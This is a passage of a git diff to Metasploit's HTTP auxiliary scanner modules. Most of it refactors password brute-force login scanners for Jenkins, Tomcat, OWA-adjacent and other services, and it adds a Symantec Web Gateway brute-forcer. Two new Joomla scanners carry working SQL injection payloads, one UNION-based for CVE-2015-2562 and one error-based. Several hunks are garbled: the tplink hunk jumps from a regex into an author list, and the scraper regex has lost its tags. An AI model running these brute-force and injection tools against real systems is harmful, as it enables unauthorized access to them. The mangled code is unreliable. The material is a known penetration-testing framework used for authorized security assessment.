File.join(Msf::Config.data_directory, "wordlists", "unix_passwords.txt") } )) + + register_advanced_options([ + OptString.new('LOGIN_URL', [true, 'The URL that handles the login process', '/proxy/ssllogin']), + OptString.new('CPQLOGIN', [true, 'The homepage of the login', '/cpqlogin.htm']), + OptString.new('LOGIN_REDIRECT', [true, 'The URL to redirect to', '/cpqlogin']) + ], self.class) end def get_version(res) @@ -76,18 +82,14 @@ class Metasploit3 < Msf::Auxiliary ) @scanner = Metasploit::Framework::LoginScanner::Smh.new( - host: ip, - port: rport, - uri: datastore['URI'], - proxies: datastore["PROXIES"], - cred_details: @cred_collection, - stop_on_success: datastore['STOP_ON_SUCCESS'], - bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5 + configure_http_login_scanner( + uri: datastore['LOGIN_URL'], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5 + ) ) - - @scanner.ssl = datastore['SSL'] - @scanner.ssl_version = datastore['SSLVERSION'] end def do_report(ip, port, result) @@ -161,10 +163,10 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) res = send_request_cgi({ - 'uri' => '/cpqlogin.htm', + 'uri' => datastore['CPQLOGIN'], 'method' => 'GET', 'vars_get' => { - 'RedirectUrl' => '/cpqlogin', + 'RedirectUrl' => datastore['LOGIN_REDIRECT'], 'RedirectQueryString' => '' } }) diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index c433557970..228562ae0d 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -22,10 +22,6 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'HTTP Login Utility', 'Description' => 'This module attempts to authenticate to an HTTP service.', - 'References' => - [ - - ], 'Author' => [ 'hdm' ], 'References' => [ @@ -74,6 +70,7 @@ class Metasploit3 < Msf::Auxiliary /auth/ /manager/ /Management.asp + /ews/ } end @@ -153,17 +150,14 @@ class Metasploit3 < Msf::Auxiliary cred_collection = prepend_db_passwords(cred_collection) scanner = Metasploit::Framework::LoginScanner::HTTP.new( - host: ip, - port: rport, - uri: @uri, - method: datastore['REQUESTTYPE'], - proxies: datastore["PROXIES"], - cred_details: cred_collection, - stop_on_success: datastore['STOP_ON_SUCCESS'], - bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5, - user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'] + configure_http_login_scanner( + uri: @uri, + method: datastore['REQUESTTYPE'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5 + ) ) msg = scanner.check_setup diff --git a/modules/auxiliary/scanner/http/http_put.rb b/modules/auxiliary/scanner/http/http_put.rb index 01aa175aa3..baf50cc32c 100644 --- a/modules/auxiliary/scanner/http/http_put.rb +++ b/modules/auxiliary/scanner/http/http_put.rb @@ -128,17 +128,17 @@ class Metasploit4 < Msf::Auxiliary case action.name when 'PUT' - #Append filename if there isn't one + # Append filename if there isn't one if path !~ /(.+\.\w+)$/ path << "#{Rex::Text.rand_text_alpha(5)}.txt" vprint_status("No filename specified. Using: #{path}") end - #Upload file + # Upload file res = do_put(path, data) vprint_status("Reply: #{res.code.to_s}") if not res.nil? - #Check file + # Check file if not res.nil? and file_exists(path, data) turl = "#{(ssl ? 'https' : 'http')}://#{ip}:#{rport}#{path}" print_good("File uploaded: #{turl}") @@ -156,7 +156,7 @@ class Metasploit4 < Msf::Auxiliary end when 'DELETE' - #Check file before deleting + # Check file before deleting if path !~ /(.+\.\w+)$/ print_error("You must supply a filename") return @@ -165,11 +165,11 @@ class Metasploit4 < Msf::Auxiliary return end - #Delete our file + # Delete our file res = do_delete(path) vprint_status("Reply: #{res.code.to_s}") if not res.nil? - #Check if DELETE was successful + # Check if DELETE was successful if res.nil? or file_exists(path, data) print_error("DELETE failed. File is still there.") else diff --git a/modules/auxiliary/scanner/http/ipboard_login.rb b/modules/auxiliary/scanner/http/ipboard_login.rb index 22b96e6a20..2e32e763ef 100644 --- a/modules/auxiliary/scanner/http/ipboard_login.rb +++ b/modules/auxiliary/scanner/http/ipboard_login.rb @@ -38,16 +38,13 @@ class Metasploit3 < Msf::Auxiliary ) scanner = Metasploit::Framework::LoginScanner::IPBoard.new( - host: ip, - port: rport, + configure_http_login_scanner( uri: normalize_uri(target_uri.path), - proxies: datastore["PROXIES"], cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5, - user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'] + connection_timeout: 5 + ) ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/jenkins_login.rb b/modules/auxiliary/scanner/http/jenkins_login.rb index ebeb4109eb..515618d3a5 100644 --- a/modules/auxiliary/scanner/http/jenkins_login.rb +++ b/modules/auxiliary/scanner/http/jenkins_login.rb @@ -33,25 +33,22 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) cred_collection = Metasploit::Framework::CredentialCollection.new( - blank_passwords: datastore['BLANK_PASSWORDS'], - pass_file: datastore['PASS_FILE'], - password: datastore['PASSWORD'], - user_file: datastore['USER_FILE'], - userpass_file: datastore['USERPASS_FILE'], - username: datastore['USERNAME'], - user_as_pass: datastore['USER_AS_PASS'] + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] ) scanner = Metasploit::Framework::LoginScanner::Jenkins.new( - host: ip, - port: rport, - proxies: datastore['PROXIES'], - cred_details: cred_collection, - stop_on_success: datastore['STOP_ON_SUCCESS'], - bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 10, - user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'] + configure_http_login_scanner( + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 10 + ) ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner.rb b/modules/auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner.rb new file mode 100644 index 0000000000..811261b7cc --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner.rb @@ -0,0 +1,90 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'uri' +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Web-Dorado ECommerce WD for Joomla! search_category_id SQL Injection Scanner', + 'Description' => %q{ + This module will scan for hosts vulnerable to an unauthenticated SQL injection within the + advanced search feature of the Web-Dorado ECommerce WD 1.2.5 and likely prior. + }, + 'Author' => + [ + 'bperry' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-2562'] + ], + 'DisclosureDate' => 'Mar 20 2015')) + + register_options( + [ + OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']) + ], self.class) + end + + def run_host(ip) + left_marker = Rex::Text.rand_text_alpha(5) + right_marker = Rex::Text.rand_text_alpha(5) + flag = Rex::Text.rand_text_alpha(5) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'vars_get' => { + 'option' => 'com_ecommercewd', + 'controller' => 'products', + 'task' => 'displayproducts', + 'Itemid' => '-1' + }, + 'vars_post' => { + 'product_id' => '-1', + 'product_count' => '', + 'product_parameters_json' => '', + 'search_name' => '', + 'search_category_id' => "1) UNION ALL SELECT CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]})-- ", + 'filter_filters_opened' => '0', + 'filter_manufacturer_ids' => '1', + 'filter_price_from' => '', + 'filter_price_to' => '', + 'sort_by' => '', + 'sort_order' => 'asc', + 'pagination_limit_start' => '0', + 'pagination_limit' => '12' + } + }) + + unless res && res.body + vprint_error("#{peer} - Server did not respond in an expected way") + return + end + + result = res.body =~ /#{left_marker}#{flag}#{right_marker}/ + + if result + print_good("#{peer} - Vulnerable to CVE-2015-2562 (search_category_id parameter SQL injection)") + report_vuln({ + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => "Web-Dorado ECommerce WD search_category_id SQL injection", + :refs => self.references.select { |ref| ref.ctx_val == "2015-2562" } + }) + end + + end + +end diff --git a/modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb b/modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb new file mode 100644 index 0000000000..2ae1d62bb8 --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb @@ -0,0 +1,107 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'uri' +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Gallery WD for Joomla! Unauthenticated SQL Injection Scanner', + 'Description' => %q{ + This module will scan for Joomla! instances vulnerable to an unauthenticated SQL injection + within the Gallery WD for Joomla! extension version 1.2.5 and likely prior. + }, + 'Author' => + [ + 'CrashBandicoot', #independent discovery/0day drop + 'bperry' #discovery/metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EDB', '36563'] + ], + 'DisclosureDate' => 'Mar 30 2015')) + + register_options([ + OptString.new('TARGETURI', [true, 'Target URI of the Joomla! instance', '/']) + ], self.class) + end + + def run_host(ip) + right_marker = Rex::Text.rand_text_alpha(5) + left_marker = Rex::Text.rand_text_alpha(5) + flag = Rex::Text.rand_text_alpha(5) + + vprint_status("#{peer} - Checking host") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'vars_get' => { + 'option' => 'com_gallery_wd', + 'view' => 'gallerybox', + 'image_id' => '-1', + 'gallery_id' => '-1', + 'thumb_width' => '180', + 'thumb_height' => '90', + 'open_with_fullscreen' => 0, + 'image_width' => 800, + 'image_height' => 500, + 'image_effect' => 'fade', + 'sort_by' => 'order', + 'order_by' => 'asc', + 'enable_image_filmstrip' => '', + 'image_filmstrip_height' => 0, + 'enable_image_ctrl_btn' => 1, + 'enable_image_fullscreen' => 1, + 'popup_enable_info' => 1, + 'popup_info_always_show' => 0, + 'popup_hit_counter' => 0, + 'popup_enable_rate' => 0, + 'slideshow_interval' => 5, + 'enable_comment_social' => '', + 'enable_image_facebook' => '', + 'enable_image_twitter' => '', + 'enable_image_google' => '', + 'enable_image_pinterest' => '', + 'enable_image_tumblr' => '', + 'watermark_type' => 'none' + }, + 'vars_post' => { + 'image_id' => "1 AND (SELECT 2425 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)", + 'rate' => '', + 'ajax_task' => 'save_hit_count', + 'task' => 'gallerybox.ajax_search' + } + }) + + unless res && res.body + vprint_error("#{peer} - Server did not respond in an expected way") + return + end + + result = res.body =~ /#{left_marker}#{flag}#{right_marker}/ + + if result + print_good("#{peer} - Vulnerable to unauthenticated SQL injection within Gallery WD for Joomla!") + report_vuln({ + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => "Unauthenticated error-based SQL injection in Gallery WD for Joomla!", + :refs => self.references.select { |ref| ref.ctx_val == "36563" } + }) + end + + end + +end diff --git a/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb b/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb index 6aab0a2295..4b232b66dc 100644 --- a/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb +++ b/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary } }) - #without res.body.length we get lots of false positives + # without res.body.length we get lots of false positives if (res and res.code == 200 and res.body.length > 0) print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}") report_web_vuln({ @@ -96,7 +96,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") - #test login + # test login begin res = send_request_cgi({ 'uri' => '/', diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb index 3e84b1ba0f..ba99b597ce 100644 --- a/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb +++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Discovery and exploit - 'Brendan Coles <bcoles[at]gmail.com>' # msf + 'Brendan Coles <bcoles[at]gmail.com>' # metasploit module ], 'References' => [ diff --git a/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb b/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb index d098907acd..8774079b5d 100644 --- a/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb +++ b/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb @@ -27,8 +27,8 @@ class Metasploit3 < Msf::Auxiliary ], 'Author' => [ - 'blkhtc0rp', #Original - 'sinn3r' + 'blkhtc0rp', #Original + 'sinn3r' #Metasploit module ], 'License' => MSF_LICENSE, 'DisclosureDate' => "Oct 19 2012" diff --git a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb index 746b3ffb9f..6724111d4e 100644 --- a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb +++ b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb @@ -34,9 +34,9 @@ class Metasploit4 < Msf::Auxiliary ], 'Author' => [ - 'Daniel Franke', # Vulnerability discovery and PoC - 'juan vazquez', # Metasploit module - 'Christian Mehlmauer' # Metasploit module + 'Daniel Franke', # Vulnerability discovery and PoC + 'juan vazquez', # Metasploit module + 'Christian Mehlmauer' # Metasploit module ], 'License' => MSF_LICENSE ) diff --git a/modules/auxiliary/scanner/http/mod_negotiation_brute.rb b/modules/auxiliary/scanner/http/mod_negotiation_brute.rb index 22fd394fe6..0c403db076 100644 --- a/modules/auxiliary/scanner/http/mod_negotiation_brute.rb +++ b/modules/auxiliary/scanner/http/mod_negotiation_brute.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary tpath += '/' end - #load the file with filenames into memory + # load the file with filenames into memory queue = [] File.open(datastore['FILEPATH'], 'rb').each_line do |fn| queue << fn.strip diff --git a/modules/auxiliary/scanner/http/mybook_live_login.rb b/modules/auxiliary/scanner/http/mybook_live_login.rb index a4b2bf2a19..caeca141c7 100644 --- a/modules/auxiliary/scanner/http/mybook_live_login.rb +++ b/modules/auxiliary/scanner/http/mybook_live_login.rb @@ -55,22 +55,14 @@ class Metasploit3 < Msf::Auxiliary ) scanner = Metasploit::Framework::LoginScanner::MyBookLive.new( - host: ip, - port: rport, - proxies: datastore['PROXIES'], - cred_details: cred_collection, - stop_on_success: datastore['STOP_ON_SUCCESS'], - bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 10, - user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'] + configure_http_login_scanner( + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 10, + ) ) - if ssl - scanner.ssl = datastore['SSL'] - scanner.ssl_version = datastore['SSLVERSION'] - end - scanner.scan! do |result| credential_data = result.to_h credential_data.merge!( diff --git a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb index 57e6fc9be2..33f7bbffdf 100644 --- a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Auxiliary return save_array end - #traversal every file + # traverse every file def find_files(file,user,pass) traversal = '/../../' @@ -87,7 +87,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") - #test login + # test login begin res = send_request_cgi({ 'uri' => '/', diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index c52af77d20..c93d830720 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -186,8 +186,8 @@ class Metasploit3 < Msf::Auxiliary return :abort end if action.name == "OWA_2013" - #Check for a response code to make sure login was valid. Changes from 2010 to 2013. - #Check if the password needs to be changed. + # Check for a response code to make sure login was valid. Changes from 2010 to 2013. + # Check if the password needs to be changed. if res.headers['location'] =~ /expiredpassword/ print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}': NOTE password change required") report_hash = { @@ -203,7 +203,7 @@ class Metasploit3 < Msf::Auxiliary return :next_user end - #No password change required moving on. + # No password change required moving on. unless location = res.headers['location'] print_error("#{msg} No HTTP redirect. This is not OWA 2013, aborting.") return :abort @@ -212,7 +212,7 @@ class Metasploit3 < Msf::Auxiliary if reason == nil headers['Cookie'] = 'PBack=0;' << res.get_cookies else - #Login didn't work. no point on going on. + # Login didn't work. no point on going on. vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})") return :Skip_pass end diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index c91d8c2940..3e6f52150b 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -18,8 +18,8 @@ class Metasploit3 < Msf::Auxiliary an arbitrary object instantiation flaw in the XML request processor. }, 'Author' => [ - 'hdm', #author - 'jjarmoc' #improvements + 'hdm', # author + 'jjarmoc' # improvements ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/auxiliary/scanner/http/replace_ext.rb b/modules/auxiliary/scanner/http/replace_ext.rb index fdc6e951c3..3537b86519 100644 --- a/modules/auxiliary/scanner/http/replace_ext.rb +++ b/modules/auxiliary/scanner/http/replace_ext.rb @@ -146,7 +146,6 @@ class Metasploit3 < Msf::Auxiliary if(not res or ((res.code.to_i == ecode) or (emesg and res.body.index(emesg)))) if dm == false print_status("NOT Found #{wmap_base_url}#{tpath} #{res.code.to_i}") - #blah end else if res.code.to_i == 400 and ecode != 400 diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb index 7fabe8e043..8e33ae7cea 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary if res and res.code == 200 case res.body when nil - # Nothing + # Nothing when /<Version xmlns=".*">(.*)<\/Version><\/getVersionResponse>/ version = "#{$1}" success = true diff --git a/modules/auxiliary/scanner/http/scraper.rb b/modules/auxiliary/scanner/http/scraper.rb index 539b6ec736..817d830d11 100644 --- a/modules/auxiliary/scanner/http/scraper.rb +++ b/modules/auxiliary/scanner/http/scraper.rb @@ -20,14 +20,14 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'HTTP Page Scraper', 'Description' => 'Scrap defined data from a specific web page based on a regular expresion', - 'Author' => ['et'], + 'Author' => ['et'], 'License' => MSF_LICENSE ) register_options( [ OptString.new('PATH', [ true, "The test path to the page to analize", '/']), - OptRegexp.new('PATTERN', [ true, "The regex to use (default regex is a sample to grab page title)", %r{<title>(.*)}i]) + OptRegexp.new('PATTERN', [ true, "The regex to use (default regex is a sample to grab page title)", '(.*)']) ], self.class) diff --git a/modules/auxiliary/scanner/http/soap_xml.rb b/modules/auxiliary/scanner/http/soap_xml.rb index b40d7abf45..adc6eb3a10 100644 --- a/modules/auxiliary/scanner/http/soap_xml.rb +++ b/modules/auxiliary/scanner/http/soap_xml.rb @@ -175,7 +175,7 @@ class Metasploit3 < Msf::Auxiliary return false else print_status("Server #{wmap_target_host}:#{datastore['RPORT']} responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.") - ## Add Report + # Add Report report_note( host: ip, proto: 'tcp', diff --git a/modules/auxiliary/scanner/http/splunk_web_login.rb b/modules/auxiliary/scanner/http/splunk_web_login.rb index 3ec0e6bd13..57a569b075 100644 --- a/modules/auxiliary/scanner/http/splunk_web_login.rb +++ b/modules/auxiliary/scanner/http/splunk_web_login.rb @@ -154,24 +154,30 @@ class Metasploit3 < Msf::Auxiliary } }) - if not res or res.code != 303 + if not res + vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' returned no response") + return :skip_pass + end + + unless res.code == 303 || (res.code == 200 && res.body.to_s.index('{"status":0}')) vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}") return :skip_pass - else - print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'splunk-web', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - - report_auth_info(report_hash) - return :next_user end + + print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") + + report_hash = { + :host => datastore['RHOST'], + :port => datastore['RPORT'], + :sname => 'splunk-web', + :user => user, + :pass => pass, + :active => true, + :type => 'password'} + + report_auth_info(report_hash) + return :next_user + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT print_error("HTTP Connection Failed, Aborting") return :abort diff --git a/modules/auxiliary/scanner/http/squid_pivot_scanning.rb b/modules/auxiliary/scanner/http/squid_pivot_scanning.rb index 764a29e452..77969a4f9e 100644 --- a/modules/auxiliary/scanner/http/squid_pivot_scanning.rb +++ b/modules/auxiliary/scanner/http/squid_pivot_scanning.rb @@ -63,9 +63,9 @@ class Metasploit3 < Msf::Auxiliary vprint_status("[#{rhost}] Verifying manual testing is not required...") manual = false - #request a non-existent page first to make sure the server doesn't respond with a 200 to everything. + # request a non-existent page first to make sure the server doesn't respond with a 200 to everything. res_test = send_request_cgi({ - 'uri' => "http://{datastore['CANARY_IP']}:80", + 'uri' => "http://#{datastore['CANARY_IP']}:80", 'method' => 'GET', 'data' => '', 'version' => '1.0', diff --git a/modules/auxiliary/scanner/http/symantec_web_gateway_login.rb b/modules/auxiliary/scanner/http/symantec_web_gateway_login.rb new file mode 100644 index 0000000000..334d03baa1 --- /dev/null +++ b/modules/auxiliary/scanner/http/symantec_web_gateway_login.rb @@ -0,0 +1,138 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/login_scanner/symantec_web_gateway' +require 'metasploit/framework/credential_collection' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Symantec Web Gateway Login Utility', + 'Description' => %q{ + This module will attempt to authenticate to a Symantec Web Gateway. + }, + 'Author' => [ 'sinn3r' ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'RPORT' => 443, + 'SSL' => true, + 'SSLVersion' => 'TLS1' + } + )) + end + + + # Initializes CredentialCollection and SymantecWebGateway + def init(ip) + @cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + @scanner = Metasploit::Framework::LoginScanner::SymantecWebGateway.new( + configure_http_login_scanner( + host: ip, + port: datastore['RPORT'], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5 + ) + ) + end + + + # Reports a good login credential + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + last_attempted_at: DateTime.now, + status: result.status, + proof: result.proof + }.merge(service_data) + + create_credential_login(login_data) + end + + + # Attempts to login + def bruteforce(ip) + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + do_report(ip, rport, result) + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + vprint_brute :level => :verror, :ip => ip, :msg => result.proof + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status, + proof: result.proof + ) + when Metasploit::Model::Login::Status::INCORRECT + vprint_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status, + proof: result.proof + ) + end + end + end + + + # Start here + def run_host(ip) + init(ip) + unless @scanner.check_setup + print_brute :level => :error, :ip => ip, :msg => 'Target is not Symantec Web Gateway' + return + end + + bruteforce(ip) + end + +end diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 922fe9bc05..6847640f9c 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -94,27 +94,24 @@ class Metasploit3 < Msf::Auxiliary end cred_collection = Metasploit::Framework::CredentialCollection.new( - blank_passwords: datastore['BLANK_PASSWORDS'], - pass_file: datastore['PASS_FILE'], - password: datastore['PASSWORD'], - user_file: datastore['USER_FILE'], - userpass_file: datastore['USERPASS_FILE'], - username: datastore['USERNAME'], - user_as_pass: datastore['USER_AS_PASS'], + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], ) cred_collection = prepend_db_passwords(cred_collection) scanner = Metasploit::Framework::LoginScanner::Tomcat.new( - host: ip, - port: rport, - proxies: datastore['PROXIES'], + configure_http_login_scanner( cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 10, - user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'] + connection_timeout: 10 + ) ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb b/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb index 8fccbd5c51..dd5cdc6043 100644 --- a/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb +++ b/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb @@ -87,17 +87,17 @@ class Metasploit3 < Msf::Auxiliary if datastore['VERBOSE'] == true vprint_good("#{rhost}:#{rport} - Response - File #{file}:") res.body.each_line do |line| - #the following is the last line of the useless response + # the following is the last line of the useless response if line.to_s =~ /\/\/--><\/SCRIPT>/ - #setting out = true to print all of the following stuff + # setting out = true to print all of the following stuff out = true next end if out == true if line =~ / [ - 'dun', #Discovery, PoC - 'sinn3r' #Metasploit + 'dun', # Discovery, PoC + 'sinn3r' # Metasploit module ], 'License' => MSF_LICENSE, 'DisclosureDate' => "Jul 13 2012" diff --git a/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb new file mode 100644 index 0000000000..21da03291e --- /dev/null +++ b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb @@ -0,0 +1,87 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress XMLRPC GHOST Vulnerability Scanner', + 'Description' => %q{ + This module can be used to determine hosts vulnerable to the GHOST vulnerability via + a call to the WordPress XMLRPC interface. If the target is vulnerable, the system + will segfault and return a server error. On patched systems, a normal XMLRPC error + is returned. + }, + 'Author' => + [ + 'Robert Rowley', + 'Christophe De La Fuente' , + 'Chaim Sanders' , + 'Felipe Costa' , + 